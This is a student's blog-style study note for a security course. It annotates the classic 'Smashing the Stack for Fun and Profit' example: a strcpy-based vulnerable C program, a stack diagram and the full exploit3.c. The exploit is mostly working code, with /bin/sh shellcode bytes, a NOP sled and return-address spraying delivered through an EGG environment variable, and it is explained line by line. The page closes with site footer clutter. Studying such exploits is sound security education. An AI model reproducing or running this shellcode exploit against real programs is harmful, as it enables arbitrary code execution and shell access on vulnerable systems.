【IERG4130学习笔记】Smashing the stack for fun and profit中souce code加上一点儿注释

vulnerable.c

Any program using strcpy() or other poorly written function that does not check for the stack overflow program are vulnerable to this stack overflow attack. Here is an example program.

void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}

Above is the content of a simple vulnerable program, the stack of the above program at run time would be like 

Description

Memory

BUFFER[0]

BUFFER[1]

BUFFER[2]

BUFFER[3]

.

.

.

.

BUFFER[509]

BUFFER[510]

BUFFER[511]

Stack pointer

Return address

TEXT SEGMENT

TEXT SEGMENT

|argv[1][0]|

|argv[1][1]|

|argv[1][2]|

|argv[1][3]|

|argv[1][4]|

|argv[1][5]|

|.         |

|ORIGINAL|

|ORIGINAL|

|ORIGINAL|

|ORIGINAL|

|ORIGINAL|

|ORIGINAL|

|ORIGINAL|

|ORIGINAL|

 

If the argument is maliciously designed to contain some bad code, and will cause buffer overflow problem, then the stack will be like

Description

Memory

BUFFER[0]

BUFFER[1]

BUFFER[2]

BUFFER[3]

.

.

.

.

BUFFER[509]

BUFFER[510]

BUFFER[511]

Stack pointer

Return address

TEXT SEGMENT

TEXT SEGMENT

|argv[1][0]|

|argv[1][1]|

|argv[1][2]|

|argv[1][3]|

|argv[1][4]|

|argv[1][5]|

|.|

|.|

|argv[1][509]|

|argv[1][510]|

|argv[1][511]|

|argv[1][512 - 515]|

|argv[1][516 - 520]|

|ORIGINAL|

|ORIGINAL|


And thus the program will not just return 0 when the main function reach the 'return 0;' statement, but goto where argv[1][516 - 520] is pointing to and begin to execute the code there.

expliot3.c

Here is the expliot3.c program with some comment added by me in smashing the stack for fun and profit. 

Generally expliot3.c will try to find at what address the program’s stack will start (thanks to virtual memory, different programs' stacks may start at the same address), and organize a well-designed content (say $EGG) that will be used as the input of some other program (say, vulnerable.c ). 

If the vulnerable.c stupidly used strcpy() (or other dangerous function) without checking whether $EGG is longer than the variable that will stored the $EGG, then the carefully designed malicious content in $EGG will be overwriting the content in process vulnerable's stack, and letting vulnerable to start execute the machine code contained in $EGG. 


#include 
   
   
    
    

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
} //inline assembly code, to copy the stack pointer's value to where the return value should be storing.

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

//Firstly, fill the buff with expected address 
//(we expect the return pointer of the stack will be overwrite by this address)
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4) 
    *(addr_ptr++) = addr;

//Secondly, fill the first half of the buff with NOP instruction, 
//so even if the expected address doesn't directly point to the machine code, 
//it will most likely point to an NOP instruction 
//so that the process will continue to fetch next instruction until 
//the process find a valid instruction.
  for (i = 0; i < bsize/2; i++) 
    buff[i] = NOP;


//Thirdly, put the malicious machine code at the center of the buffer.
  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
//put it into a shell's environment variable $EGG.
  putenv(buff);  
//spawn a new shell so that i will has $EGG as its  environment variable
  system("/bin/bash"); 
}

   
   

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值